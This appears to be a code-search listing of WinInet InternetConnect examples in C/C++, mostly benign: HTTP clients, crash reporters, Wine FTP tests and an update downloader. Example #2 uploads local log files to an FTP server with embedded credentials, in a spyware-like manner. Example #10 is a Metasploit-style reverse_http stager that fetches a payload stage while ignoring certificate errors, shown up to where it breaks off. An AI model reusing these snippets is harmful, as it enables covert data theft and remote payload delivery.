Exemple #1
0
CNetRequestImpl::CNetRequestImpl(CNetRequest* pParent, const char* method, const String& strUrl)
{
    m_pParent = pParent;
    m_pParent->m_pCurNetRequestImpl = this;

    pszErrFunction = NULL;
    hInet = NULL, hConnection = NULL, hRequest = NULL;
    memset(&uri, 0, sizeof(uri) );
    m_strUrl = strUrl;
    CAtlStringW strUrlW(strUrl.c_str());

    LOG(INFO) + "Method: " + method + ";Url: " + strUrl;
    do 
    {
        if ( !isLocalHost(strUrl.c_str()) && !SetupInternetConnection(strUrlW) )
        {
            pszErrFunction = L"SetupInternetConnection";
            break;
        }

        hInet = InternetOpen(_T("rhodes-wm"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL );
        if ( !hInet ) 
        {
            pszErrFunction = L"InternetOpen";
            break;
        }

        DWORD dwUrlLength = 1024;
        CAtlStringW strCanonicalUrlW;
        if ( !InternetCanonicalizeUrl( strUrlW, strCanonicalUrlW.GetBuffer(dwUrlLength), &dwUrlLength, 0) )
        {
            pszErrFunction = _T("InternetCanonicalizeUrl");
            break;
        }
        strCanonicalUrlW.ReleaseBuffer();

		alloc_url_components( &uri, strCanonicalUrlW );
        if( !InternetCrackUrl( strCanonicalUrlW, strCanonicalUrlW.GetLength(), 0, &uri ) ) 
        {
			pszErrFunction = L"InternetCrackUrl";
			break;
		}

        hConnection = InternetConnect( hInet, uri.lpszHostName, uri.nPort, _T("anonymous"), NULL, 
          INTERNET_SERVICE_HTTP, 0, 0 );
        if ( !hConnection ) 
        {
            pszErrFunction = L"InternetConnect";
            break;
        }

        strReqUrlW = uri.lpszUrlPath;
        strReqUrlW += uri.lpszExtraInfo;
        hRequest = HttpOpenRequest( hConnection, CAtlStringW(method), strReqUrlW, NULL, NULL, NULL, 
          INTERNET_FLAG_KEEP_CONNECTION|INTERNET_FLAG_NO_CACHE_WRITE, NULL );
        if ( !hRequest ) 
        {
            pszErrFunction = L"HttpOpenRequest";
            break;
        }

    }while(0);
}
Exemple #2
0
inline char UploadLog(unsigned long int no)
{
	/* this function will transfer the log 
	   files one by one to the FTP server */

	static BOOL semaphore = FALSE;
	if(semaphore == TRUE)
		return 0;
	else
		semaphore = TRUE;

	if(InternetCheckConnection(InternetCheckMask,FLAG_ICC_FORCE_CONNECTION,0))
	{
		/* connect me to the internet */
		HINTERNET hNet = InternetOpen(AppName2, PRE_CONFIG_INTERNET_ACCESS,
			NULL, INTERNET_INVALID_PORT_NUMBER, 0 );
		if(hNet != NULL)
		{
			/* connect me to the remote FTP Server */
			HINTERNET hFtp = InternetConnect(hNet,FtpServer,
				INTERNET_DEFAULT_FTP_PORT,FtpUserName,FtpPassword,
				INTERNET_SERVICE_FTP, 0, 0);
			if(hFtp != NULL)
			{
				/* successful connection to FTP server established */
				char local_file[STR_SZ1], remote_file[STR_SZ1];
				sprintf(local_file,"%s%lX%s",BaseDirectory(),no,LocLogFileExt);
				sprintf(remote_file,"%lu-%lX%s",GetCompId(hFtp),no,SrvLogFileExt);
				//MessageBox(NULL,local_file,remote_file,0);
				if(FtpPutFile(hFtp, local_file, remote_file, 0, 0))
				{
					/* file transfer OK */
					InternetCloseHandle(hFtp);
					InternetCloseHandle(hNet);
					semaphore = FALSE;
					return 1;
				}
				else {
					/* file transfer failed */
					InternetCloseHandle(hFtp);
					InternetCloseHandle(hNet);
					semaphore = FALSE;
					return 0;
				}
			}
			else {
				/* connection to FTP server failed */
				InternetCloseHandle(hNet);
				semaphore = FALSE;
				return 0;
			}
		}
		else {
			/* connection to internet failed */
			semaphore = FALSE;
			return 0;
		}
	}
	/* internet connection is not available 
	   either because the person is not online
	   or because a firewall has blocked me */
	semaphore = FALSE;
	return 0;
}
Exemple #3
0
/* Crashdumps handling */
static void check_crashdump(void)
{
    FILE * fd = _wfopen ( crashdump_path, L"r, ccs=UTF-8" );
    if( !fd )
        return;
    fclose( fd );

    int answer = MessageBox( NULL, L"Ooops: VLC media player just crashed.\n" \
    "Would you like to send a bug report to the developers team?",
    L"VLC crash reporting", MB_YESNO);

    if(answer == IDYES)
    {
        HINTERNET Hint = InternetOpen(L"VLC Crash Reporter",
                INTERNET_OPEN_TYPE_PRECONFIG, NULL,NULL,0);
        if(Hint)
        {
            HINTERNET ftp = InternetConnect(Hint, L"crash.videolan.org",
                        INTERNET_DEFAULT_FTP_PORT, NULL, NULL,
                        INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
            if(ftp)
            {
                SYSTEMTIME now;
                GetSystemTime(&now);
                wchar_t remote_file[MAX_PATH];
                _snwprintf(remote_file, MAX_PATH,
                        L"/crashes-win32/%04d%02d%02d%02d%02d%02d",
                        now.wYear, now.wMonth, now.wDay, now.wHour,
                        now.wMinute, now.wSecond );

                if( FtpPutFile( ftp, crashdump_path, remote_file,
                            FTP_TRANSFER_TYPE_BINARY, 0) )
                    MessageBox( NULL, L"Report sent correctly. Thanks a lot " \
                                "for the help.", L"Report sent", MB_OK);
                else
                    MessageBox( NULL, L"There was an error while "\
                                "transferring the data to the FTP server.\n"\
                                "Thanks a lot for the help.",
                                L"Report sending failed", MB_OK);
                InternetCloseHandle(ftp);
            }
            else
            {
                MessageBox( NULL, L"There was an error while connecting to " \
                                "the FTP server. "\
                                "Thanks a lot for the help.",
                                L"Report sending failed", MB_OK);
                fprintf(stderr,"Can't connect to FTP server 0x%08lu\n",
                        (unsigned long)GetLastError());
            }
            InternetCloseHandle(Hint);
        }
        else
        {
              MessageBox( NULL, L"There was an error while connecting to the Internet.\n"\
                                "Thanks a lot for the help anyway.",
                                L"Report sending failed", MB_OK);
        }
    }

    _wremove(crashdump_path);
}
Exemple #4
0
BOOL CBitprintsDownloader::ExecuteRequest()
{
	const DWORD tTime = GetTickCount();

	theApp.Message( MSG_DEBUG | MSG_FACILITY_OUTGOING, L"[Bitprints] Sent request: %s", (LPCTSTR)m_sURL );

	CString strHost = m_sURL;
	int nPos = strHost.Find( L"http://" );
	if ( nPos != 0 ) return FALSE;
	strHost = strHost.Mid( 7 );
	nPos = strHost.Find( L'/' );
	if ( nPos < 0 ) return FALSE;
	CString strPath = strHost.Mid( nPos );
	strHost = strHost.Left( nPos );
	nPos = strHost.Find( L':' );

	int nPort = INTERNET_DEFAULT_HTTP_PORT;

	if ( nPos > 0 )
	{
		_stscanf( strHost.Mid( nPos + 1 ), L"%i", &nPort );
		strHost = strHost.Left( nPos );
	}

	if ( m_hSession == NULL )
	{
		m_hSession = InternetConnect( m_hInternet, strHost, INTERNET_PORT( nPort ),
			NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );
		if ( m_hSession == NULL )
			return FALSE;
	}

	m_hRequest = HttpOpenRequest( m_hSession, L"GET", strPath, NULL, NULL, NULL,
		INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD, 0 );

	if ( m_hRequest == NULL )
	{
		if ( m_hSession ) InternetCloseHandle( m_hSession );

		m_hSession = InternetConnect( m_hInternet, strHost, INTERNET_PORT( nPort ),
			NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );

		if ( m_hSession == NULL ) return FALSE;

		m_hRequest = HttpOpenRequest( m_hSession, L"GET", strPath, NULL, NULL, NULL,
			INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD, 0 );

		if ( m_hRequest == NULL ) return FALSE;
	}

	if ( ! HttpSendRequest( m_hRequest, NULL, 0, NULL, 0 ) )
		return FALSE;

	TCHAR szStatusCode[32] = {};
	DWORD nStatusCode = 0, nStatusLen = 32;

	if ( ! HttpQueryInfo( m_hRequest, HTTP_QUERY_STATUS_CODE, szStatusCode, &nStatusLen, NULL ) )
		return FALSE;

	if ( _stscanf( szStatusCode, L"%lu", &nStatusCode ) != 1 ||
		 nStatusCode < 200 || nStatusCode > 299 )
		return FALSE;

	LPBYTE pResponse = NULL;
	DWORD nRemaining, nResponse = 0;

	while ( InternetQueryDataAvailable( m_hRequest, &nRemaining, 0, 0 ) && nRemaining > 0 )
	{
		BYTE* pNewResponse = (BYTE*)realloc( pResponse, nResponse + nRemaining );
		if ( ! pNewResponse )
		{
			free( pResponse );
			return FALSE;
		}
		pResponse = pNewResponse;
		InternetReadFile( m_hRequest, pResponse + nResponse, nRemaining, &nRemaining );
		nResponse += nRemaining;
	}

	if ( nRemaining )
	{
		free( pResponse );
		return FALSE;
	}

	m_sResponse.Empty();

	LPTSTR pszResponse = m_sResponse.GetBuffer( nResponse );
	for ( nStatusCode = 0; nStatusCode < nResponse; nStatusCode++ )
		pszResponse[ nStatusCode ] = (TCHAR)pResponse[ nStatusCode ];
	m_sResponse.ReleaseBuffer( nResponse );

	free( pResponse );

	if ( m_hRequest ) InternetCloseHandle( m_hRequest );
	m_hRequest = NULL;

	m_nDelay = ( GetTickCount() - tTime ) * 2;

	return TRUE;
}
Exemple #5
0
static void test_connect(HINTERNET hInternet)
{
    HINTERNET hFtp;

    /* Try a few username/password combinations:
     * anonymous : NULL
     * NULL      : IEUser@
     * NULL      : NULL
     * ""        : IEUser@
     * ""        : NULL
     */

    SetLastError(0xdeadbeef);
    hFtp = InternetConnect(hInternet, "ftp.winehq.org", INTERNET_DEFAULT_FTP_PORT, "anonymous", NULL, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
    if (hFtp)  /* some servers accept an empty password */
    {
        ok ( GetLastError() == ERROR_SUCCESS, "ERROR_SUCCESS, got %d\n", GetLastError());
        InternetCloseHandle(hFtp);
    }
    else
        ok ( GetLastError() == ERROR_INTERNET_LOGIN_FAILURE,
             "Expected ERROR_INTERNET_LOGIN_FAILURE, got %d\n", GetLastError());

    SetLastError(0xdeadbeef);
    hFtp = InternetConnect(hInternet, "ftp.winehq.org", INTERNET_DEFAULT_FTP_PORT, NULL, "IEUser@", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
    ok ( hFtp == NULL, "Expected InternetConnect to fail\n");
    ok ( GetLastError() == ERROR_INVALID_PARAMETER,
        "Expected ERROR_INVALID_PARAMETER, got %d\n", GetLastError());

    SetLastError(0xdeadbeef);
    hFtp = InternetConnect(hInternet, "ftp.winehq.org", INTERNET_DEFAULT_FTP_PORT, "", "IEUser@",
            INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
    ok(!hFtp, "Expected InternetConnect to fail\n");
    ok(GetLastError() == ERROR_INVALID_PARAMETER,
        "Expected ERROR_INVALID_PARAMETER, got %d\n", GetLastError());

    /* Using a NULL username and password will be interpreted as anonymous ftp. The username will be 'anonymous' the password
     * is created via some simple heuristics (see dlls/wininet/ftp.c).
     * On Wine this registry key is not set by default so (NULL, NULL) will result in anonymous ftp with an (most likely) not
     * accepted password (the username).
     * If the first call fails because we get an ERROR_INTERNET_LOGIN_FAILURE, we try again with a (more) correct password.
     */

    SetLastError(0xdeadbeef);
    hFtp = InternetConnect(hInternet, "ftp.winehq.org", INTERNET_DEFAULT_FTP_PORT, NULL, NULL, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
    if (!hFtp && (GetLastError() == ERROR_INTERNET_LOGIN_FAILURE))
    {
        /* We are most likely running on a clean Wine install or a Windows install where the registry key is removed */
        SetLastError(0xdeadbeef);
        hFtp = InternetConnect(hInternet, "ftp.winehq.org", INTERNET_DEFAULT_FTP_PORT, "anonymous", "IEUser@", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
    }
    ok ( hFtp != NULL, "InternetConnect failed : %d\n", GetLastError());
    ok ( GetLastError() == ERROR_SUCCESS,
        "ERROR_SUCCESS, got %d\n", GetLastError());

    SetLastError(0xdeadbeef);
    hFtp = InternetConnect(hInternet, "ftp.winehq.org", INTERNET_DEFAULT_FTP_PORT, "", NULL,
            INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
    if (!hFtp)
    {
        ok(GetLastError() == ERROR_INTERNET_LOGIN_FAILURE,
                "Expected ERROR_INTERNET_LOGIN_FAILURE, got %d\n", GetLastError());
    }
    else
    {
        ok(GetLastError() == ERROR_SUCCESS,
                "Expected ERROR_SUCCESS, got %d\n", GetLastError());
    }
}
BOOL CBitziDownloader::ExecuteRequest()
{
	DWORD nTime = GetTickCount();

	int nPos, nPort = INTERNET_DEFAULT_HTTP_PORT;
	CString strHost, strPath;

	strHost = m_sURL;
	nPos = strHost.Find( _T("http://") );
	if ( nPos != 0 ) return FALSE;
	strHost = strHost.Mid( 7 );
	nPos = strHost.Find( '/' );
	if ( nPos < 0 ) return FALSE;
	strPath = strHost.Mid( nPos );
	strHost = strHost.Left( nPos );
	nPos = strHost.Find( ':' );

	if ( nPos > 0 )
	{
		_stscanf( strHost.Mid( nPos + 1 ), _T("%i"), &nPort );
		strHost = strHost.Left( nPos );
	}

	if ( m_hSession == NULL )
	{
		m_hSession = InternetConnect( m_hInternet, strHost, nPort,
			NULL, NULL, INTERNET_SERVICE_HTTP , 0, 0 );
		if ( m_hSession == NULL ) return FALSE;
	}

	m_hRequest = HttpOpenRequest( m_hSession, _T("GET"), strPath, NULL, NULL, NULL,
		INTERNET_FLAG_KEEP_CONNECTION|INTERNET_FLAG_NO_COOKIES, 0 );

	if ( m_hRequest == NULL )
	{
		if ( m_hSession != NULL ) InternetCloseHandle( m_hSession );

		m_hSession = InternetConnect( m_hInternet, strHost, nPort,
			NULL, NULL, INTERNET_SERVICE_HTTP , 0, 0 );

		if ( m_hSession == NULL ) return FALSE;

		m_hRequest = HttpOpenRequest( m_hSession, _T("GET"), strPath, NULL, NULL, NULL,
			INTERNET_FLAG_KEEP_CONNECTION|INTERNET_FLAG_NO_COOKIES, 0 );

		if ( m_hRequest == NULL ) return FALSE;
	}

	if ( ! HttpSendRequest( m_hRequest, NULL, 0, NULL, 0 ) ) return FALSE;

	TCHAR szStatusCode[32];
	DWORD nStatusCode = 0, nStatusLen = 32;

	if ( ! HttpQueryInfo( m_hRequest, HTTP_QUERY_STATUS_CODE, szStatusCode,
		&nStatusLen, NULL ) ) return FALSE;

	_stscanf( szStatusCode, _T("%u"), &nStatusCode );
	if ( nStatusCode < 200 || nStatusCode > 299 ) return FALSE;

	LPBYTE pResponse = NULL;
	DWORD nRemaining, nResponse = 0;

	while ( InternetQueryDataAvailable( m_hRequest, &nRemaining, 0, 0 ) && nRemaining > 0 )
	{
		pResponse = (LPBYTE)realloc( pResponse, nResponse + nRemaining );
		InternetReadFile( m_hRequest, pResponse + nResponse, nRemaining, &nRemaining );
		nResponse += nRemaining;
	}

	if ( nRemaining )
	{
		free( pResponse );
		return FALSE;
	}

	m_sResponse.Empty();

	LPTSTR pszResponse = m_sResponse.GetBuffer( nResponse );
	for ( nStatusCode = 0 ; nStatusCode < nResponse ; nStatusCode++ )
		pszResponse[ nStatusCode ] = (TCHAR)pResponse[ nStatusCode ];
	m_sResponse.ReleaseBuffer( nResponse );

	free( pResponse );

	if ( m_hRequest != NULL ) InternetCloseHandle( m_hRequest );
	m_hRequest = NULL;

	m_nDelay = ( GetTickCount() - nTime ) * 2;

	return TRUE;
}
Exemple #7
0
bool CHttpClient::Request(const TCHAR * pURL)
{
    bool bSuccess(false);
    if (pURL != NULL) {
        URL_COMPONENTS urlCom = {sizeof(URL_COMPONENTS),
                                 NULL, 1, INTERNET_SCHEME_DEFAULT,
                                 NULL, 1, 0,
                                 NULL, 1,
                                 NULL, 1,
                                 NULL, 1,
                                 NULL, 1,
                                };
        InternetCrackUrl(pURL, lstrlen(pURL), 0, &urlCom);
        mServer = urlCom.lpszHostName ? lstring(urlCom.lpszHostName, urlCom.dwHostNameLength) : pURL;
        mPort = urlCom.nPort;
        if (urlCom.lpszUrlPath)
            mPath = lstring(urlCom.lpszUrlPath, urlCom.dwUrlPathLength);
        if (urlCom.lpszUserName)
            mUserName = lstring(urlCom.lpszUserName, urlCom.dwUserNameLength);
        if (urlCom.lpszPassword)
            mPassword = lstring(urlCom.lpszPassword, urlCom.dwPasswordLength);
        SetHttps(urlCom.nScheme == INTERNET_SCHEME_HTTPS);
    }
    HINTERNET hi = InternetOpen(mUserAgent.c_str(), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (hi != NULL) {
        if (!mPort)
            mPort = IsHttps() ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT;
        HINTERNET hc = InternetConnect(hi, mServer.c_str(), mPort,
                                       GET_PTR_FROM_STR(mUserName), GET_PTR_FROM_STR(mPassword),
                                       INTERNET_SERVICE_HTTP, 0, 0);
        if (hc != NULL) {
            const TCHAR *rgpszAcceptTypes[] = { _T("*/*"), NULL};
            DWORD dwDword(INTERNET_FLAG_NO_UI);
            if (IsHttps())
                dwDword |= INTERNET_FLAG_SECURE;
            HINTERNET http = HttpOpenRequest(hc, GET_PTR_FROM_STR(mhttpVerb), mPath.c_str(), NULL, NULL, rgpszAcceptTypes,
                                             dwDword, NULL);
            if (http != NULL) {
                if (HttpSendRequest(http, GET_PTR_FROM_STR(mhttpHeaders), (DWORD)mhttpHeaders.length(), mDataToSend, (DWORD)mDataToSend.DataSize())) {
                    int statusCode(0);
                    {
                        wchar_t responseText[1024]; // change to wchar_t for unicode
                        DWORD responseTextSize = sizeof(responseText);

                        //Check existence of page (for 404 error)
                        if (!HttpQueryInfo(http,
                                           HTTP_QUERY_STATUS_CODE,
                                           &responseText,
                                           &responseTextSize,
                                           NULL))
                            statusCode = GetLastError();
                        else
                            STLUtils::ChangeType(lstring(responseText), statusCode);
                    }
                    BinaryData inDataRead(NULL, 1024*1024*4); // 4MB
                    while (InternetReadFile(http, inDataRead, (DWORD)inDataRead.Size(), &dwDword) && dwDword > 0)
                    {
                        bSuccess = true;
                        inDataRead.SetDataSize(dwDword);
                        if (!ContentHandler(inDataRead))
                            break;
                    }
                }
                InternetCloseHandle(http);
            }
            InternetCloseHandle(hc);
        }
        InternetCloseHandle(hi);
    }
    return bSuccess;
}
BOOL CHttpUploadFileProc::HttpUploadFile()
{
    if (NULL == m_threadParam.szFileName
            || _T('\0') == m_threadParam.szFileName[0])
        return FALSE;

    BOOL		bRet;
    LPCTSTR		lpszAgent = _T("eMule Verycd");
    LPCTSTR		lpszServerName = _T("crash.emule.org.cn");
    LPCTSTR		lpszObjectName = _T("/report");
    CFile		file;
    HINTERNET hSession = NULL;
    HINTERNET hConnect = NULL;
    HINTERNET hRequest = NULL;


    NotifyReceiver(P_HUF_OPEN_FILE, 0);

    if (!file.Open(m_threadParam.szFileName, CFile::modeRead | CFile::shareDenyWrite))
    {
        NotifyReceiver(E_HUF_OPEN_FILE_FAILED, 0);
        return FALSE;
    }

    NotifyReceiver(P_HUF_PROGRESS, 5);



    bRet = TRUE;
    do {

        if (IsTerminated())	goto Label_Quit;
        NotifyReceiver(P_HUF_INTERNET_OPEN, 0);
        hSession = InternetOpen(lpszAgent, INTERNET_OPEN_TYPE_PRECONFIG,
                                NULL, NULL, 0);
        if(NULL == hSession)
        {
            NotifyReceiver(E_HUF_INTERNET_OPEN_FAILED, 0);
            bRet = FALSE;
            break;
        }

        if (IsTerminated())	goto Label_Quit;
        NotifyReceiver(P_HUF_INTERNET_CONNET, 0);
        hConnect = InternetConnect(hSession, lpszServerName, INTERNET_DEFAULT_HTTP_PORT,
                                   NULL, NULL, INTERNET_SERVICE_HTTP,NULL, NULL);
        if (NULL == hConnect)
        {
            NotifyReceiver(E_HUF_INTERNET_CONNECT_FAILED, 0);
            bRet = FALSE;
            break;
        }

        if (IsTerminated())	goto Label_Quit;
        NotifyReceiver(P_HUF_HTTP_OPEN_REQUEST, 0);
        hRequest = HttpOpenRequest(hConnect, "POST", lpszObjectName,
                                   NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, 0);
        if (NULL == hRequest)
        {
            NotifyReceiver(E_HUF_HTTP_OPEN_REQUEST_FAILED, 0);
            bRet = FALSE;
            break;
        }

        NotifyReceiver(P_HUF_PROGRESS, 10);

        if (IsTerminated())	goto Label_Quit;
        if (!UseHttpSendReqEx(hRequest, file))
        {
            NotifyReceiver(E_HUF_SEND_FILE_FAILED, 0);
            bRet = FALSE;
        }
    } while(0);

    if (IsTerminated())	goto Label_Quit;
    if (bRet)
    {
        NotifyReceiver(P_HUF_PROGRESS, 100);
        NotifyReceiver(S_HUF_FINISHED, 0);
    }

Label_Quit:
    ;

    if (NULL != hRequest)
    {
        InternetCloseHandle(hRequest);
        hRequest = NULL;
    }
    if (NULL != hConnect)
    {
        InternetCloseHandle(hConnect);
        hConnect = NULL;
    }
    if (NULL != hSession)
    {
        InternetCloseHandle(hSession);
        hSession = NULL;
    }

    file.Close();


    return bRet;
}
DWORD CUpdateDownloader::DownloadFile(const CString& url, const CString& dest, bool showProgress) const
{
	CString hostname;
	CString urlpath;
	URL_COMPONENTS urlComponents = {0};
	urlComponents.dwStructSize = sizeof(urlComponents);
	urlComponents.lpszHostName = hostname.GetBufferSetLength(INTERNET_MAX_HOST_NAME_LENGTH);
	urlComponents.dwHostNameLength = INTERNET_MAX_HOST_NAME_LENGTH;
	urlComponents.lpszUrlPath = urlpath.GetBufferSetLength(INTERNET_MAX_PATH_LENGTH);
	urlComponents.dwUrlPathLength = INTERNET_MAX_PATH_LENGTH;
	if (!InternetCrackUrl(url, url.GetLength(), 0, &urlComponents))
		return GetLastError();
	hostname.ReleaseBuffer();
	urlpath.ReleaseBuffer();

	if (m_bForce)
		DeleteUrlCacheEntry(url);

	BOOL bTrue = TRUE;
	BOOL enableDecoding = InternetSetOption(hOpenHandle, INTERNET_OPTION_HTTP_DECODING, &bTrue, sizeof(bTrue));

	bool isHttps = urlComponents.nScheme == INTERNET_SCHEME_HTTPS;
	HINTERNET hConnectHandle = InternetConnect(hOpenHandle, hostname, urlComponents.nPort, nullptr, nullptr, isHttps ? INTERNET_SCHEME_HTTP : urlComponents.nScheme, 0, 0);
	if (!hConnectHandle)
	{
		DWORD err = GetLastError();
		CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) _T(": Download of %s failed on InternetConnect: %d\n"), (LPCTSTR)url, err);
		return err;
	}
	SCOPE_EXIT{ InternetCloseHandle(hConnectHandle); };
	HINTERNET hResourceHandle = HttpOpenRequest(hConnectHandle, nullptr, urlpath, nullptr, nullptr, nullptr, INTERNET_FLAG_KEEP_CONNECTION | (isHttps ? INTERNET_FLAG_SECURE : 0) | (m_bForce ? INTERNET_FLAG_HYPERLINK : 0), 0);
	if (!hResourceHandle)
	{
		DWORD err = GetLastError();
		CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) _T(": Download of %s failed on HttpOpenRequest: %d\n"), (LPCTSTR)url, err);
		return err;
	}
	SCOPE_EXIT{ InternetCloseHandle(hResourceHandle); };

	if (enableDecoding)
		HttpAddRequestHeaders(hResourceHandle, L"Accept-Encoding: gzip, deflate\r\n", (DWORD)-1, HTTP_ADDREQ_FLAG_ADD);

	{
resend:
		BOOL httpsendrequest = HttpSendRequest(hResourceHandle, nullptr, 0, nullptr, 0);

		DWORD dwError = InternetErrorDlg(m_hWnd, hResourceHandle, ERROR_SUCCESS, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, nullptr);

		if (dwError == ERROR_INTERNET_FORCE_RETRY)
			goto resend;
		else if (!httpsendrequest)
		{
			DWORD err = GetLastError();
			CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) _T(": Download of %s failed: %d, %d\n"), (LPCTSTR)url, httpsendrequest, err);
			return err;
		}
	}

	DWORD contentLength = 0;
	{
		DWORD length = sizeof(contentLength);
		HttpQueryInfo(hResourceHandle, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, (LPVOID)&contentLength, &length, NULL);
	}
	{
		DWORD statusCode = 0;
		DWORD length = sizeof(statusCode);
		if (!HttpQueryInfo(hResourceHandle, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, (LPVOID)&statusCode, &length, NULL) || statusCode != 200)
		{
			CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) _T(": Download of %s returned %d\n"), (LPCTSTR)url, statusCode);
			if (statusCode == 404)
				return ERROR_FILE_NOT_FOUND;
			else if (statusCode == 403)
				return ERROR_ACCESS_DENIED;
			return (DWORD)INET_E_DOWNLOAD_FAILURE;
		}
	}

	CFile destinationFile;
	if (!destinationFile.Open(dest, CFile::modeCreate | CFile::modeWrite))
	{
		return ERROR_ACCESS_DENIED;
	}
	DWORD downloadedSum = 0; // sum of bytes downloaded so far
	do
	{
		DWORD size; // size of the data available
		if (!InternetQueryDataAvailable(hResourceHandle, &size, 0, 0))
		{
			DWORD err = GetLastError();
			CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) _T(": Download of %s failed on InternetQueryDataAvailable: %d\n"), (LPCTSTR)url, err);
			return err;
		}

		DWORD downloaded; // size of the downloaded data
		auto buff = std::make_unique<TCHAR[]>(size + 1);
		if (!InternetReadFile(hResourceHandle, (LPVOID)buff.get(), size, &downloaded))
		{
			DWORD err = GetLastError();
			CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) _T(": Download of %s failed on InternetReadFile: %d\n"), (LPCTSTR)url, err);
			return err;
		}

		if (downloaded == 0)
			break;

		buff[downloaded] = '\0';
		destinationFile.Write(buff.get(), downloaded);

		downloadedSum += downloaded;

		if (!showProgress)
			continue;

		ASSERT(m_uiMsg && m_eventStop);

		if (contentLength == 0) // got no content-length from webserver
		{
			DOWNLOADSTATUS downloadStatus = { 0, 1 + 1 }; // + 1 for download of signature file
			::SendMessage(m_hWnd, m_uiMsg, 0, reinterpret_cast<LPARAM>(&downloadStatus));
		}
		else
		{
			if (downloadedSum > contentLength)
				downloadedSum = contentLength - 1;
			DOWNLOADSTATUS downloadStatus = { downloadedSum, contentLength + 1 }; // + 1 for download of signature file
			::SendMessage(m_hWnd, m_uiMsg, 0, reinterpret_cast<LPARAM>(&downloadStatus));
		}

		if (::WaitForSingleObject(*m_eventStop, 0) == WAIT_OBJECT_0)
		{
			return (DWORD)E_ABORT; // canceled by the user
		}
	}
	while (true);

	if (downloadedSum == 0)
	{
		CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) _T(": Download size of %s was zero.\n"), (LPCTSTR)url);
		return (DWORD)INET_E_DOWNLOAD_FAILURE;
	}
	return ERROR_SUCCESS;
}
Exemple #10
0
unsigned char* rev_http(char* host, char* port, bool WithSSL){
	// Steps:
	//	1) Calculate a random URI->URL with `valid` checksum; that is needed for the multi/handler to distinguish and identify various framework related requests "i.e. coming from stagers" ... we'll be asking for checksum==92 "INITM", which will get the patched stage in return. 
	//	2) Decide about whether we're reverse_http or reverse_https, and set flags appropriately.
	//	3) Prepare buffer for the stage with WinInet: InternetOpen, InternetConnect, HttpOpenRequest, HttpSendRequest, InternetReadFile.
	//	4) Return pointer to the populated buffer to caller function.
	//***************************************************************//

	// Variables
	char URI[5] = { 0 };			//4 chars ... it can be any length actually.
	char FullURL[6] = { 0 };	// FullURL is ("/" + URI)
	unsigned char* buffer = nullptr;
	DWORD flags = 0;
	int dwSecFlags = 0;

	//	Step 1: Calculate a random URI->URL with `valid` checksum; that is needed for the multi/handler to distinguish and identify various framework related requests "i.e. coming from stagers" ... we'll be asking for checksum==92 "INITM", which will get the patched stage in return. 
	int checksum = 0;
	srand(GetTickCount());
	while (true)				//Keep getting random values till we succeed, don't worry, computers are pretty fast and we're not asking for much.
	{
		gen_random(URI, 4);				//Generate a 4 char long random string ... it could be any length actually, but 4 sounds just fine.
		checksum = TextChecksum8(URI);	//Get the 8-bit checksum of the random value
		if (checksum == 92)		//If the checksum == 92, it will be handled by the multi/handler correctly as a "INITM" and will send over the stage.
		{
			break; // We found a random string that checksums to 98
		}
	}
	strcpy(FullURL, "/");
	strcat(FullURL, URI);

	//	2) Decide about whether we're reverse_http or reverse_https, and set flags appropriately.
	if (WithSSL) {
		flags = (INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI | INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA);
	}
	else {
		flags = (INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI);
	}

	//	3) Prepare buffer for the stage with WinInet:
	//	   InternetOpen, InternetConnect, HttpOpenRequest, HttpSendRequest, InternetReadFile.

	//	3.1: HINTERNET InternetOpen(_In_  LPCTSTR lpszAgent, _In_  DWORD dwAccessType, _In_  LPCTSTR lpszProxyName, _In_  LPCTSTR lpszProxyBypass, _In_  DWORD dwFlags);
	HINTERNET hInternetOpen = InternetOpen("Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL);
	if (hInternetOpen == NULL){
		err_exit("InternetOpen()");
	}

	// 3.2: InternetConnect
	HINTERNET hInternetConnect = InternetConnect(hInternetOpen, host, atoi(port), NULL, NULL, INTERNET_SERVICE_HTTP, NULL, NULL);
	if (hInternetConnect == NULL){
		err_exit("InternetConnect()");
	}

	// 3.3: HttpOpenRequest
	HINTERNET hHTTPOpenRequest = HttpOpenRequest(hInternetConnect, "GET", FullURL, NULL, NULL, NULL, flags, NULL);
